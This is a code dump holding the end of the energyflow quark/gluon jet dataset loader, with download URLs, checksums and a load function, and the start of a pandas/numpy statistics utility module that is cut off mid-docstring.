'https://www.dropbox.com/s/xizexr2tjq2bm59/QG_jets_herwig_0.npz?dl=1',\n                'https://www.dropbox.com/s/ym675q2ui3ik3n9/QG_jets_herwig_1.npz?dl=1',\n                'https://www.dropbox.com/s/qic6ejl27y6vpqj/QG_jets_herwig_2.npz?dl=1',\n                'https://www.dropbox.com/s/ea5a9wruo7sf3zy/QG_jets_herwig_3.npz?dl=1',\n                'https://www.dropbox.com/s/5iz5q2pjcys74tb/QG_jets_herwig_4.npz?dl=1',\n                'https://www.dropbox.com/s/6zha7fka0dl7t30/QG_jets_herwig_5.npz?dl=1',\n                'https://www.dropbox.com/s/vljp5nhoocv2zmf/QG_jets_herwig_6.npz?dl=1',\n                'https://www.dropbox.com/s/vzzl5yv9esro811/QG_jets_herwig_7.npz?dl=1',\n                'https://www.dropbox.com/s/74u8y4afe1jqiyw/QG_jets_herwig_8.npz?dl=1',\n                'https://www.dropbox.com/s/ra7hdq23qy7lgia/QG_jets_herwig_9.npz?dl=1',\n                'https://www.dropbox.com/s/plhupkzt3ap2v6i/QG_jets_herwig_10.npz?dl=1',\n                'https://www.dropbox.com/s/jy76a7tk1p7b5mq/QG_jets_herwig_11.npz?dl=1',\n                'https://www.dropbox.com/s/cd4bqzk1xhg92tp/QG_jets_herwig_12.npz?dl=1',\n                'https://www.dropbox.com/s/5g5rbyowni149y4/QG_jets_herwig_13.npz?dl=1',\n                'https://www.dropbox.com/s/uxcgkrz4jhwdnya/QG_jets_herwig_14.npz?dl=1',\n                'https://www.dropbox.com/s/brgeiph0rhooffx/QG_jets_herwig_15.npz?dl=1',\n                'https://www.dropbox.com/s/jvcw8th5t6ngsk1/QG_jets_herwig_16.npz?dl=1',\n                'https://www.dropbox.com/s/hlgksqbpuw3wuo3/QG_jets_herwig_17.npz?dl=1',\n                'https://www.dropbox.com/s/yjvnt2z0h1zhvns/QG_jets_herwig_18.npz?dl=1',\n                'https://www.dropbox.com/s/8qzs744mx383n2i/QG_jets_herwig_19.npz?dl=1',\n            ],\n            'zenodo': [\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_0.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_1.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_2.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_3.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_4.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_5.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_6.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_7.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_8.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_9.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_10.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_11.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_12.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_13.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_14.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_15.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_16.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_17.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_18.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_19.npz?download=1',\n            ],\n        },\n\n        'bc': {\n            'dropbox': [\n                'https://www.dropbox.com/s/qv5t4171ez82kqr/QG_jets_herwig_withbc_0.npz?dl=1',\n                'https://www.dropbox.com/s/mae1hmudq8v0tqr/QG_jets_herwig_withbc_1.npz?dl=1',\n                'https://www.dropbox.com/s/6yc14771808mf0w/QG_jets_herwig_withbc_2.npz?dl=1',\n                'https://www.dropbox.com/s/ihuffb5nzblw2mr/QG_jets_herwig_withbc_3.npz?dl=1',\n                'https://www.dropbox.com/s/nygld5xtxmg7id2/QG_jets_herwig_withbc_4.npz?dl=1',\n                'https://www.dropbox.com/s/zn76rajxowk91hn/QG_jets_herwig_withbc_5.npz?dl=1',\n                'https://www.dropbox.com/s/uajiizu1k5d24x0/QG_jets_herwig_withbc_6.npz?dl=1',\n                'https://www.dropbox.com/s/xcw7nfkr4r7mglf/QG_jets_herwig_withbc_7.npz?dl=1',\n                'https://www.dropbox.com/s/hlvgl69hig6nepp/QG_jets_herwig_withbc_8.npz?dl=1',\n                'https://www.dropbox.com/s/3cbtd73z0mdop7l/QG_jets_herwig_withbc_9.npz?dl=1',\n                'https://www.dropbox.com/s/zadw2vjo71mmfkf/QG_jets_herwig_withbc_10.npz?dl=1',\n                'https://www.dropbox.com/s/xivt0q49k0vccmy/QG_jets_herwig_withbc_11.npz?dl=1',\n                'https://www.dropbox.com/s/ft0z5eagni71c4v/QG_jets_herwig_withbc_12.npz?dl=1',\n                'https://www.dropbox.com/s/4wsui0wc0zueq3l/QG_jets_herwig_withbc_13.npz?dl=1',\n                'https://www.dropbox.com/s/73kkum4kfm9jxlk/QG_jets_herwig_withbc_14.npz?dl=1',\n                'https://www.dropbox.com/s/i4tflx17r1prr5u/QG_jets_herwig_withbc_15.npz?dl=1',\n                'https://www.dropbox.com/s/m0xnoauoghg29zr/QG_jets_herwig_withbc_16.npz?dl=1',\n                'https://www.dropbox.com/s/dtgyyflmxa86l8o/QG_jets_herwig_withbc_17.npz?dl=1',\n                'https://www.dropbox.com/s/nsm8hj1lolz8qk5/QG_jets_herwig_withbc_18.npz?dl=1',\n                'https://www.dropbox.com/s/t2vgtj47jy4o1di/QG_jets_herwig_withbc_19.npz?dl=1',\n            ],\n            'zenodo': [\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_0.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_1.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_2.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_3.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_4.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_5.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_6.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_7.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_8.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_9.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_10.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_11.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_12.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_13.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_14.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_15.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_16.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_17.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_18.npz?download=1',\n                'https://zenodo.org/record/3066475/files/QG_jets_herwig_withbc_19.npz?download=1',\n            ],\n        },\n    },\n}\n\nHASHES = {\n    'pythia': {\n        'nobc': {\n            'sha256': [\n                '3f27a02eab06e8b83ccc9d25638021e6e24c9361341730961f9d560dee12c257',\n                '648e49cd59b5353e0064e7b1a3388d9c2f4a454d3ca67afaa8d0344c836ecb35',\n                '09f7b16fa7edb312c0f652bb8504de45f082c4193df65204d693155017272fe9',\n                '7dc9a50bb38e9f6fc1f11db18f9bd04f72823c944851746b848dee0bba808537',\n                '3e6217aad8e0502f5ce3b6371c61396dfc48a6cf4f26ee377cc7b991b1d2b543',\n                'b5b7d742b2599bcbe1d7a639895bca64c28da513dc3620b0e5bbb5801f8c88fd',\n                '7d31bc48c15983401e0dbe8fd5ee938c3809d9ee3c909f4adab6daf8b73c14f1',\n                'cec0d7b2afa9d955543c597f9b7f3b3767812a68b2401ec870caf3a2ceb98401',\n                'e984620f57abe06fc5d0b063f9f84ba54bd3e8c295d2b2419a7b1c6175079ed4',\n                '6e3b69196995d6eb3b8e7af874e2b9f93d904624f7a7a73b8ff39f151e3bd189',\n                'fa3d386f230b806058ff17e5bd77326ff4bf01d72aa5eb3325c1df2a8825927c',\n                'acd49ab7bea8f72ecf699a9a898bccacc8730474259d68406656a5a43d407fb0',\n                '2edd55b8bc30c686a0637855e1ba068586eb97041e8114d5540d96db2a7a2e17',\n                '7276a8a0e573f9795a47f9d5addc10d2af903c2a0ffa5c848a720ccae93daa90',\n                '2068ecfa912e94cd3ce7273b7c77af0bbd5ec57940997e7483b56f03434a6869',\n                '41a732ce6321dd593214225b03fb87329607ccae768c705e3896ffecc28bfcca',\n                '9d68caeb18f3ccf127b9032f52e63ee011c4381293a3a503f894e5c0741ae215',\n                '086053ca611bb04d97fa0b6509b4ffb6955421b067c7b277498f0e5188879331',\n                'cdc595f5fedef7db9411a9f93f2786f110073b4d17a523700f625846588b1e44',\n                'd07781139320ae134ce4824bc0cefa43fd5003cd97cdf3aed90d4fb12fad8a1d',\n            ],\n            'md5': [\n                'f5d052f10a79c6e8b9382637aca0ef52',\n                'f6a1081c76a47386bc11abcf0e499552',\n                '2628367c57ba598f4473c870d1381041',\n                'dd3ad998b0a1bd9acea2ecf029a8a921',\n                'a56d6bb98361b55382aa8c06225e05d8',\n                '266c688e9e6ff1cd20840692d45eaaf8',\n                '95a9f7e555fb7b1073967056b9030b11',\n                '4ae72aaabe121bd489532c99a6bdde95',\n                'a2b80bd4199468fde4f302d346a8c9d8',\n                '1157cbace488c70c9dcfc250f3345b06',\n                '4b424b553e1e7f852e47ea9904bc2dcf',\n                'ccd29c9d1abb34dd7cfb48cfc57a9695',\n                '1ed1f6f19fb8439c9811dced41d5127d',\n                'af45818c361e11ca9b3adaba30db06ad',\n                '488ced3ea409d7e2b196da67f7d182ec',\n                'c5e083019de6cd6a0ef12bcec1ea566b',\n                '48605d55edff665f0c7d2f800b5a622e',\n                '8fd47760957b5fd9adec9048b50cd1a9',\n                'd43d611484b55391e891ba31c605f792',\n                '6753508e34014cc69714a01fca20ec38',\n            ],\n        },\n\n        'bc': {\n            'sha256': [\n                '27978b5dfe38f860f9899a4213f115579766ece0f6b3cd1cc043f57483521f9c',\n                'bec3a147167ac19f243d74c5c47097a716cee6f6af4edc16fd0b50003ec48bd7',\n                '878e415001682fda5493f15f2aaa29bce3d60b5dd882f85d85f66f2e8c5ddf9d',\n                'e6f48b8fa5dfb3fa914db5dbcabe6d972d803571aa5586babececa86007d0064',\n                'e11f885b97b7e859792b3f0a748f15e89c8e8788d68d1256931c948b745945e1',\n                '9598efe81b4d1f5f56049508da23957fd5c90590a242f7e58255aaa44d23c192',\n                '1de06fccea886445cc4250aba8e3c10990ccb24d4ae6416c6f1f40811117c13e',\n                'df6d44f5c37e5c1bf6a8c7cbfb9633413348c908b5f0c657ec32e8dde781ca95',\n                'fa6a01f90cdf3394b77bdec7e1931b2dfa4d6670ad8fbc0266eb14c352456e93',\n                'e8c7545edb1bc52a0ea0b6cf8541a3ab825970c337458e5c43402c13939e949d',\n                '147a6f80eb191577092c3bc404c90ab5538e2887b23f27d6e91e3643c5a18119',\n                'c1068b3ac7d0f94ec928538a451d9e20feb7b0281deb083661f8fc6bffa7c4f1',\n                '78545b1517f099b0001f6dafe046a9d39a93d13e29db812f6fa415301bfa590d',\n                '8d90ffc18358dfb234359804da6a37bb188fa45c9e24468b0cc91f24ba6e0a1d',\n                '4ccdf00ef7948721bfe41cd61cb3eac2025e4869b226c9f22524cf2adb9ed2a0',\n                'ca09495a8b5b27435d8523aaca6f3af6795a9a61c17d758be2c1c5560e5423f1',\n                '00318c05ef530f7b2e867f4b1b9900e9535add46455f6fc39ad4777ff9c71e00',\n                'a23c05633f18b1a047102943f550c8bb5cfc62135a2d543ccc7cdef333996f5c',\n                '0883dcd7feebef2f6419ca084b9ecc0c28c5ada68eb56f6062a943d3fe4bad81',\n                'e60a6c2bac382f51147b8587119b589b134f39724fec598e28193c9b03f70fa5',\n            ],\n            'md5': [\n                'e9ac4044a07f56a919a96e2b30c15fed',\n                '5e0c0a08c5de47b190b514ce49ff4e94',\n                '7c4209b14f778bb6c8cb6833a3d47854',\n                'cabbd75d4313e07bf8cd8e3479e06c18',\n                '87e793e74e5e665e40c1ece764952934',\n                'fd0ff359e1e64023b1c1f05e854c7180',\n                'fed4dfe45618598c853f8d9d24a40afd',\n                '4220bee4b081850e41b3462c06538bda',\n                'a7d76ec2ab2ef6d5777de5574e289c26',\n                '40b9d803d1579ef77d6eda733e385e22',\n                'bd5871239ddadcf080e62ffea07bb122',\n                'd7731f5abdf7d3e0c17eca846c25eff3',\n                '68514a76032dddb3b9cfd38654a4d433',\n                'd3dca7cb617c66e6f58ea248a10b5ccb',\n                '625a2d19e9b3ac6907362be3cefc404c',\n                'dae5923aba89ad393e1c59c63f2552e2',\n                'c611ace22f23518ae20d9e828fb5d0bc',\n                '821cff3746d2fa07ad1b9feb056dd88b',\n                '5c4775a99d18ac713360d9bbc43bfb43',\n                '5fd9bcfa8baafb6b3f6efb5114420976',\n            ],\n        },\n    },\n\n    'herwig': {\n        'nobc': {\n            'sha256': [\n                '0527349778c0ab2f7da268975fb9e7c0705c88d60f2c478401d941b9913f4d44',\n                '65ef3b4cced4e2618c2bf8f3c66ef707dbd7a9740825f93549732d64e60d7ea8',\n                'f13dab1937e40d0c05b97e9813fb4dda5156a8f6b4e41a89cc13821d02a60f58',\n                '7b55e26262f2c156b15014b796d0a7e7a5254a982170f45cf2d9857b1f23b5f7',\n                '3a5006da4a05192636a74fc818256fce215970c626719738cae9f82e3f068646',\n                '2601564aee41aa5851392d6b3d12021f978fa17199e42dde004e35d1175055ea',\n                '2c1fc34e99816a0bb5a84f68fa42f6314252521f6b32384a118cdec872ea97a1',\n                '4b05f17acb046ad50232987003b89a91800cc713eefd81142ffeb42259369fb2',\n                '150cbe132a2ee3178ba3a93a6b1733b3498b728db91f572295b6213d287ec1f7',\n                '7d74c90843c751ade4cac47f6c2505da8bcbaf8645bc3f9870bdca481ff805fd',\n                'e2b9072da8436618c602fbcf2409fe9be9a46dea7cff1fcc36f1ba8fefa6842d',\n                'c69f499b7ea09029da7e78dcc527feca6b1680685e3c9a481db292d5518e3f1c',\n                'db25d85d3a35978c607f9b5b0b52f4140c984eb5a5ab236cbf3e6eb34ead761c',\n                '9a51ddd383e32154fc504ddcb138e54f0f1bd35079fe5cfa9139839c229cd78e',\n                'be0fa462ea907d36972c8573b9a2f6bcdf5cf66648fa397739d12ecb677948e5',\n                '7b17400c6867243e8137bd97e0f9743682a5d8c772685a6654f42f1fa2731960',\n                '4c484f6508180c0e4e4a5c90b37d1b15cc67afaa3c5998306e8e633848ce6dfc',\n                'd1f9baf3a3a148080d1735130f6b18f0f598991a8d886eff3c427b2e2265fce1',\n                'bb70219d78e1d92091efacbf933da632670c8318d00777e4144d9a0c782e5749',\n                '94975b3d999868485780d2d9e4330273aa8f0db4b9a7f6094d360f637659a264',\n            ],\n            'md5': [\n                'a9de310c35c5a83ea592ef93070ff2f3',\n                'd6ff8cc5c6192309fba915114fdc8358',\n                '625bc4a0619b5b2551e273be493c6092',\n                '821b293d4e68db8b2bd40a1732d1d865',\n                '415dded70fca2ae5e555cdee776724d8',\n                '242e23df1b837b9afac880383157a161',\n                '068eb955146f773c1b5815dd3424c434',\n                'e0212b768f57344ae60df7783ba5ba25',\n                'd1a082794c84d2b0cc159034cf4d44b6',\n                'f2e1c99033a2ff7d97d9968d394333ba',\n                '5eab363df8bdff106f53858e60fe7ed1',\n                '2b365047d797207009e3b40f3ec71669',\n                '02317fda982357aa3874fd8c6c0e5863',\n                'a102b2056cc08e7c7a9312461151e749',\n                '628acd4a4e7b39d8b8e3675f4d91a3d0',\n                'f19512ae26b5a54930bb57d7b3ab8672',\n                'c71796ceae838945710c53ce95a33297',\n                'b9e26d977f8b0e638f5db42cd1c3bcee',\n                '6339009c2f5e06ac3c7b2ddade3b3e68',\n                'efdec3aa9194e835f2773be6fb424054',\n            ],\n        },\n\n        'bc': {\n            'sha256': [\n                '173b2ee0c5466772997d6b9f6a8ce25531ae3666ee17e73df1807a707aefbb17',\n                'd63f272b7a5be9b75ba26082eb76107e882b756a2285cab0c16ed69d77c16366',\n                '59369e725de3f688b231993bc7fbca45c2c1cc1da252aee5160298e83ce303cf',\n                'bf5f2e8d6ce306796dc4e3ce9e6a88faa6ddb9b482b714060a11aa257b0fe1e6',\n                'db5f5dd682f6f48e1b4900e2f366eddbb4089cb14f745cd2fcc79b23ff9f8104',\n                '03833b850fa2c1ad050c753b7be9e08086bbb2b55ae41dfc1921c617cc85a622',\n                'a7f94530366d886ab16adbb786671782dc4001e76ffb87937e65852449fe4f9c',\n                '0c1f326807a5d5d57398aec6c5816d7c9dc644fd80e56af876fa011b139cb163',\n                '1f272ba63ccf9d0af72add26075e9fc6c57e4bb954a2a31a542c06d328061742',\n                'd36cd5bbaf84a4b01faa807489133ad5ca283f64f1602e724684f1e1c2996be6',\n                'a4e735dcf69de0e635974a5eafb14e7cfa894e2db29a342f04be8660dc8f190f',\n                'c3b293be7c5cc45f65a94835d4f8c6920abe9b5c8f4baa3f10afe1dfd0112af0',\n                '2a1b54e081692eae967f117f6e8867a46f5d7d7a9d7c9353342d3cb72414d62c',\n                '6a7e846baccc8076563ed6bcb5349c2f07c4802ffeefed7fe3350680d49fc9a9',\n                'fb203a1273e9ecf93176cb63123f4a5ae39d803322bbd666679651715e1c8617',\n                'b9493efda0e3e1c4fdcb684486b1157d73a9ca9f29142125cded06d5a85b5df4',\n                '1a8e6fcefb81805d7f22bffa5b45a71d9a0fcb97a490d1866865ea7196d94443',\n                '2e961954b1ca4642cc2434789e61cd0e2eb8f18f8e77b120950de1c81ed94a15',\n                '34129cd813aa54539837ad57e484206f20f1da0330ae5fab6b378707ea41ca25',\n                '3895ad282094f3c248bdee5ff1c57247476f03accafd573b60e0ac0d0463fe0b',\n            ],\n            'md5': [\n                '2acf8751843b18d97fc9d2c5cc1ada6e',\n                'd900130f470a16edf95faef844169c98',\n                '1ff02a8f99e16645ce1aeea262d48e08',\n                'cd8c63195966bec92846fd085e696a24',\n                '4d1d284cadc6a2c682f7673611c4d583',\n                'd6dccec5c6a7c80d967e2cc2bf5955f6',\n                'e4bc0643113a41820895a8911c8b54f8',\n                '814d109e673c78fd7f7c15143587c78b',\n                '252a31659ebacb17ebd1a41250fa8546',\n                'adb64fcc128744fbe8944b865a92a6e6',\n                'e7c151d8af531840823c53ac67518e2e',\n                'e4535cb57361eb31b51542ced6604626',\n                'a752c262f3e0ac1eda48d49496eaf46c',\n                'ad486b64b76ba73e93ee0ef1aaf2b3ba',\n                '0019446390bd46ed7f8679da57c5ced0',\n                '8942d2900be5d924ba5fe859daea6947',\n                'c9a01fb2d9bd6a4f18ebc721e2d91b1c',\n                'c9d31a2b8baeb44d9b1f821b023669b1',\n                '253e7ef9d9edf37306f7d2b769377a95',\n                '185902f2aba6c7c1b79dea24d9997146',\n            ],\n        },\n    },\n}\n\nGENERATORS = frozenset(URLS.keys())\nSOURCES = ['dropbox', 'zenodo']\n\ndef load(num_data=100000, generator='pythia', pad=True, with_bc=False, cache_dir='~/.energyflow'):\n    \"\"\"Loads samples from the dataset (which in total is contained in twenty \n    files). Any file that is needed that has not been cached will be \n    automatically downloaded. Downloading a file causes it to be cached for\n    later use. Basic checksums are performed.\n\n    **Arguments**\n\n    - **num_data** : _int_\n        - The number of events to return. A value of `-1` means read in all\n        events.\n    - **generator** : _str_\n        - Specifies which Monte Carlo generator the events should come from.\n        Currently, the options are `'pythia'` and `'herwig'`.\n    - **pad** : _bool_\n        - Whether to pad the events with zeros to make them the same length.\n        Note that if set to `False`, the returned `X` array will be an object\n        array and not a 3-d array of floats.\n    - **with_bc** : _bool_\n        - Whether to include jets coming from bottom or charm quarks. Changing\n        this flag does not mask out these jets but rather accesses an entirely\n        different dataset. The datasets with and without b and c quarks should\n        not be combined.\n    - **cache_dir** : _str_\n        - The directory where to store/look for the files. Note that \n        `'datasets'` is automatically appended to the end of this path.\n\n    **Returns**\n\n    - _3-d numpy.ndarray_, _1-d numpy.ndarray_\n        - The `X` and `y` components of the dataset as specified above. If\n        `pad` is `False` then these will be object arrays holding the events,\n        each of which is a 2-d ndarray.\n    \"\"\"\n\n    # check for valid options\n    if generator not in GENERATORS:\n        raise ValueError(\"'generator' must be in \" + str(GENERATORS))\n\n    # get number of files we need\n    num_files = int(np.ceil(num_data/NUM_PER_FILE)) if num_data > -1 else MAX_NUM_FILES\n    if num_files > MAX_NUM_FILES:\n        warnings.warn('More data requested than available. Providing the full dataset.')\n        num_files = MAX_NUM_FILES\n        num_data = -1\n\n    # index into global variables\n    bc = 'bc' if with_bc else 'nobc'\n    urls = URLS[generator][bc]\n    hashes = HASHES[generator][bc]\n\n    # obtain files\n    Xs, ys = [], []\n    for i in range(num_files):\n        for j,source in enumerate(SOURCES):\n            try:\n                url = urls[source][i]\n                filename = url.split('/')[-1].split('?')[0]\n\n                fpath = _get_filepath(filename, url, cache_dir, file_hash=hashes['sha256'][i])\n\n                # we succeeded, so don't continue trying to download this file\n                break\n\n            except Exception as e:\n                print(str(e))\n\n                # if this was our last source, raise an error\n                if j == len(SOURCES) - 1:\n                    m = 'Failed to download {} from any source.'.format(filename)\n                    raise RuntimeError(m)\n\n                # otherwise indicate we're trying again\n                else:\n                    print(\"Failed to download {} from source '{}', trying next source...\".format(filename, source))\n\n        # load file and append arrays\n        f = np.load(fpath)\n        Xs.append(f['X'])\n        ys.append(f['y'])\n        f.close()\n\n    # get X array\n    if pad:\n        max_len_axis1 = max([X.shape[1] for X in Xs])\n        X = np.vstack([_pad_events_axis1(x, max_len_axis1) for x in Xs])\n    else:\n        X = np.asarray([x[x[:,0]>0] for X in Xs for x in X])\n\n    # get y array\n    y = np.concatenate(ys)\n\n    # chop down to specified amount of data\n    if num_data > -1:\n        X, y = X[:num_data], y[:num_data]\n\n    return X, y\n    ", "meta": {"hexsha": "32340fea3bf511c1d05d330c067c9e175bfd9367", "size": 32589, "ext": "py", "lang": "Python", "max_stars_repo_path": "env/lib/python3.7/site-packages/energyflow/datasets/qg_jets.py", "max_stars_repo_name": "nickchak21/particledist", "max_stars_repo_head_hexsha": "59b788a894655273ec177a3a6bb4cf9526f8c402", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-03-01T19:47:13.000Z", "max_stars_repo_stars_event_max_datetime": "2020-03-01T19:47:13.000Z", "max_issues_repo_path": "env/lib/python3.7/site-packages/energyflow/datasets/qg_jets.py", "max_issues_repo_name": "nickchak21/particledist", "max_issues_repo_head_hexsha": "59b788a894655273ec177a3a6bb4cf9526f8c402", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "env/lib/python3.7/site-packages/energyflow/datasets/qg_jets.py", "max_forks_repo_name": "nickchak21/particledist", "max_forks_repo_head_hexsha": "59b788a894655273ec177a3a6bb4cf9526f8c402", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 59.2527272727, "max_line_length": 122, "alphanum_fraction": 0.6585350885, "include": true, "reason": "import numpy", "num_tokens": 12043, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.10521053670308635, "lm_q1q2_score": 0.05219429805372483}}
{"text": "import pandas as pd\nimport numpy as np\nfrom six import string_types\n\n\n# From Penguoin Utils.py\n\ndef _export_table(table, fname):\n    \"\"\"Export DataFrame to .csv\"\"\"\n    import os.path as op\n    extension = op.splitext(fname.lower())[1]\n    if extension == '':\n        fname = fname + '.csv'\n    table.to_csv(fname, index=None, sep=',', encoding='utf-8',\n                 float_format='%.4f', decimal='.')\n    \ndef reshape_data(df, id, dv='DV', rm='Time'):\n    \"\"\"Reshape data from human-readable to analysis shape\n\n    See: https://deparkes.co.uk/2016/10/28/reshape-pandas-data-with-melt/\n\n    Parameters\n    ----------\n    df : DataFrame\n        Dataframe in original shape\n    id : string\n        Column to use as identifier variables. (e.g. \"Subjects\")\n    dv : string\n        Name of the dependant variables (e.g. \"DV\" or \"Scores\")\n    rm : string\n        Name of the measurements (e.g. \"Time\" or \"Weekday\")\n\n    Returns\n    -------\n    df_reshaped : DataFrame\n        Reshaped DataFrame\n\n    Examples\n    --------\n\n    Human-readable:\n\n    *Values represent scores at a cognitive test at different times of the day.\n    Ss = subject*::\n\n        Ss    10am  2pm   6pm\n        1     3.5   3.2   2.8\n        2     2.1   2.4   2.8\n\n    Pingouin::\n\n        Ss    Score    Time\n        1     3.5      10am\n        1     3.2      2pm\n        1     2.8      6pm\n        2     2.1      10am\n        2     2.4      2pm\n        2     2.8      6pm\n\n    >>> import pandas as pd\n    >>> from pingouins import reshape_data\n    >>> data = {'Ss': [1, 2, 3],\n    >>>        '10am': [12, 6, 5],\n    >>>        '2pm': [10, 6, 11],\n    >>>        '6pm': [8, 5, 7]}\n    >>> df = pd.DataFrame(data, columns=['Ss', '10am', '2pm', '6pm'])\n    >>> reshaped = reshape_data(df, 'Ss', dv=\"Score\", rm=\"Time\")\n    >>> print(reshaped)\n        Ss  Time  Score\n        1   10am  12\n        1   2pm   10\n        1   6pm   8\n        2   10am  6\n        2   2pm   6\n        2   6pm   5\n        3  10am   5\n        3   2pm   11\n        3   6pm   7\n    \"\"\"\n    return pd.melt(df, id_vars=id, var_name=rm, value_name=dv).sort_values(\n        by=id)\n\n\ndef _remove_na(x, y, paired=False):\n    \"\"\"Remove missing values in paired and independant measurements.\n    \"\"\"\n    x_na = np.any(np.isnan(x))\n    y_na = np.any(np.isnan(y))\n    if (x_na or y_na) and paired:\n        ar = np.c_[x, y]\n        ar = ar[~np.isnan(ar).any(axis=1)]\n        x, y = ar[:, 0], ar[:, 1]\n    elif (x_na or y_na) and not paired:\n        x = np.array(list(filter(lambda v: v == v, x))) if x_na else x\n        y = np.array(list(filter(lambda v: v == v, y))) if y_na else y\n    return x, y\n\n\ndef _remove_rm_na(dv=None, within=None, data=None):\n    \"\"\"Remove subject(s) with one or more missing values in repeated\n    measurements.\n    \"\"\"\n    rm = list(data[within].dropna().unique())\n    n_rm = len(rm)\n    n_obs = int(data.groupby(within)[dv].count().max())\n    data['ID_Subj'] = np.tile(np.arange(n_obs), n_rm)\n\n    # Efficiently remove subjects with one or more missing values\n    data = data.set_index('ID_Subj')\n\n    # Find index with nan\n    iloc_nan = pd.isnull(data).any(1).nonzero()[0]\n    idx_nan = data.index[iloc_nan].values\n    print('\\nNote: %i subject(s) removed because of missing value(s).\\n'\n          % len(idx_nan))\n    return data.drop(idx_nan).reset_index(drop=True)\n\n\ndef _check_eftype(eftype):\n    \"\"\"Check validity of eftype\"\"\"\n    if eftype.lower() in ['none', 'hedges', 'cohen', 'glass', 'r',\n                          'eta-square', 'odds-ratio', 'auc']:\n        return True\n    else:\n        return False\n\n\ndef _check_dataframe(dv=None, between=None, within=None, effects=None,\n                     data=None):\n    \"\"\"Check dataframe\"\"\"\n    # Check input arguments\n    if not isinstance(data, pd.DataFrame):\n        raise ValueError('Data must be a pandas dataframe')\n    if any(v is None for v in [dv, data]):\n        raise ValueError('DV and data must be specified')\n    if effects not in ['within', 'between', 'interaction', 'all']:\n        raise ValueError('Effects must be: within, between, interaction, all')\n    if effects == 'within' and not isinstance(within, string_types):\n        raise ValueError('within must be specified when effects=within')\n    elif effects == 'between' and not isinstance(between, string_types):\n        raise ValueError('between must be specified when effects=between')\n    elif effects == 'interaction':\n        for input in [within, between]:\n            if not isinstance(input, string_types):\n                raise ValueError('within and between must be specified when \\\n                effects=interaction')\n\n\ndef _extract_effects(dv=None, between=None, within=None, effects=None,\n                     data=None):\n    \"\"\"Extract main effects\"\"\"\n    # Check the dataframe\n    _check_dataframe(dv=dv, between=between, within=within, effects=effects,\n                     data=data)\n\n    datadic = {}\n    nobs = np.array([], dtype=int)\n\n    # Extract number of pairwise comparisons\n    if effects.lower() in ['within', 'between']:\n        col = within if effects == 'within' else between\n        # Extract data\n        labels = list(data[col].unique())\n        for l in labels:\n            datadic[l] = data[data[col] == l][dv]\n            nobs = np.append(nobs, len(datadic[l]))\n\n    elif effects.lower() == 'interaction':\n        labels_with = list(data[within].unique())\n        labels_betw = list(data[between].unique())\n        for lw in labels_with:\n            for l in labels_betw:\n                tmp = data[data[within] == lw]\n                datadic[lw, l] = tmp[tmp[between] == l][dv]\n                nobs = np.append(nobs, len(datadic[lw, l]))\n\n    dt_array = pd.DataFrame.from_dict(datadic)\n    return dt_array, nobs\n\ndef gzscore(x):\n    \"\"\"Geometric standard (Z) score.\n\n    Geometric Z-scores are better measures of dispersion than arithmetic\n    z-scores when the sample data come from a log-normally distributed\n    population.\n\n    See https://en.wikipedia.org/wiki/Geometric_standard_deviation\n\n    Parameters\n    ----------\n    x : array_like\n        Array of raw values\n\n    Returns\n    -------\n    gzscore : array_like\n        Array of geometric 